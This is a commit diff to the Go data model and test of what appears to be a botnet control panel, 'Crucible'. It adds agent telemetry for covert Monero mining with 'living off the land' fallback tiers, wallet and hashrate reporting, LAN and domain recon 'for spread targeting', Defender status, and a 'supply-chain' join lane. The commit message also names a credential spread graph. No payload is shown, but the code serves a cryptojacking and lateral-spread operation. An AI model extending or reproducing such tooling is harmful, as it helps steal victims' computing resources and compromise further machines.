Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -1,6 +1,9 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
ID string `json:"id"`
|
||||
@@ -63,6 +66,29 @@ type Agent struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// Mining fallback cascade
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
|
||||
// LOTL tier onion telemetry
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} `json:"lotl_attempts,omitempty"`
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
@@ -73,6 +99,9 @@ type Agent struct {
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
// Passive LAN/domain recon for spread targeting (stats WS, not persisted).
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
|
||||
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
||||
PostureScore int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
@@ -89,6 +118,23 @@ type Agent struct {
|
||||
|
||||
// T1007 System Service Discovery — fixed allowlist only
|
||||
Services []AgentService `json:"services,omitempty"`
|
||||
|
||||
// Last successful discover_and_join supply-chain lane.
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
||||
VulnFindings []VulnFinding `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
|
||||
// VulnFinding mirrors agent vuln_findings stats payload.
|
||||
type VulnFinding struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// AgentService mirrors the ServiceStatus reported by the agent.
|
||||
|
||||
@@ -159,6 +159,38 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) {
|
||||
agent := Agent{
|
||||
ID: "lotl-1", Name: "tier-node", Status: "online",
|
||||
LOTLTier: "cpu_inprocess",
|
||||
MiningHashrate: 850.5,
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}{
|
||||
{Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"},
|
||||
{Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(agent)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Agent
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 {
|
||||
t.Fatalf("lotl fields lost: %+v", out)
|
||||
}
|
||||
if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK {
|
||||
t.Fatalf("attempts=%+v", out.LOTLAttempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentMinimalJSON(t *testing.T) {
|
||||
var out Agent
|
||||
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
|
||||
|
||||
Reference in New Issue
Block a user